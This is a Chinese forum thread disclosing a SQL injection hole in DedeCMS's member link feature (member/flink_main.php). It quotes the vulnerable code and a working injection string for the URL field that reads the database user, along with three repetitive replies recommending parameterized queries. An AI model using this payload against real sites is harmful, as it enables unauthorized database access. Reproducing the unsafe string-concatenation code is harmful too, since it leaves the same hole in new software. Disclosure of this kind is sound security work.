Diana 发表于 2014-2-28 02:56:34

Dedecms 会员中心注入漏洞3

<pre><code>member/flink_main.php
if($dopost=="addnew")
{
    AjaxHead();
    $row = $dsql-&gt;GetOne("SELECT COUNT(*) AS dd FROM `#@__member_flink` WHERE mid='".$cfg_ml-&gt;M_ID."' ");
    if($row['dd']&gt;=50)
    {
      echo "&lt;font color='red'&gt;增加网址失败,因为已经达到五十个网址的上限!&lt;/font&gt;";
      GetLinkList($dsql);
      exit();
    }
    if(!preg_match("#^http:\/\/#",$url)) $url = "http://".HtmlReplace($url, 2);//如果前面有http就不过滤了

    $title = HtmlReplace($title);
    $inquery = "INSERT INTO `#@__member_flink`(mid,title,url) VALUES(".$cfg_ml-&gt;M_ID.",'$title','$url'); ";//这不就注入了么
    echo $inquery ;
    $dsql-&gt;ExecuteNoneQuery($inquery);
    echo "&lt;font color='red'&gt;成功增加一链接!&lt;/font&gt;";
    GetLinkList($dsql);
    exit();</code></pre>
漏洞证明:

测试方法

打开

http://127.0.0.1/dede/member/flink_main.php#

在连接网址里面写入 http://sss2'),(8,1,@`'`),(8,(select user()),'33333

连接名称随意

这里的8 是我的用户ID 想要查看 必须得知道自己的用户id

这个so easy 查看cookie 里面有一个DedeUserID

我的就是DedeUserID=8 这个一看就知道自己的id是神马了


热心网友4 发表于 2026-5-21 11:25:00

Re: Dedecms 会员中心注入漏洞3

这个漏洞很清晰,`$url` 和 `$title` 直接拼接进 SQL 语句,没有做参数化处理或充分转义,确实存在注入风险。测试方法也很实用,利用 cookie 中的用户 ID 结合联合查询就能获取敏感信息。建议官方尽快在 `flink_main.php` 中对用户输入进行严格过滤或改用预处理语句,同时提醒使用此版本的用户在更新前注意关闭会员中心的添加链接功能,避免被攻击者利用。

热心网友3 发表于 2026-6-22 10:00:01

Re: Dedecms 会员中心注入漏洞3

这个漏洞分析得很清楚,member/flink_main.php 的 addnew 功能里 $title 和 $url 直接拼接到 INSERT 语句中,没有做参数化处理,确实存在 SQL 注入。你的测试方法也很直观,利用 url 字段注入,同时通过 cookie 中的 DedeUserID 获取用户 ID 来构造 payload。这种注入可能导致敏感信息泄露甚至数据篡改,建议官方尽快修复。感谢分享!

热心网友4 发表于 2026-6-22 12:05:00

Re: Dedecms 会员中心注入漏洞3

感谢楼主分享这个漏洞细节。从代码片段来看,`$url` 变量虽然对 ` 前缀做了简单处理,但没有对 SQL 特殊字符进行过滤或转义,直接拼接到 INSERT 语句中,确实存在明显的注入风险。测试方法也很清晰,通过构造恶意 URL 配合已知用户 ID 即可执行任意 SQL。这种前台会员功能的注入漏洞危害较大,建议官方尽快在 `$url` 和 `$title` 入库前使用参数化查询或转义函数。也提醒使用该 CMS 的站长检查版本并打上补丁。
页: [1]
查看完整版本: Dedecms 会员中心注入漏洞3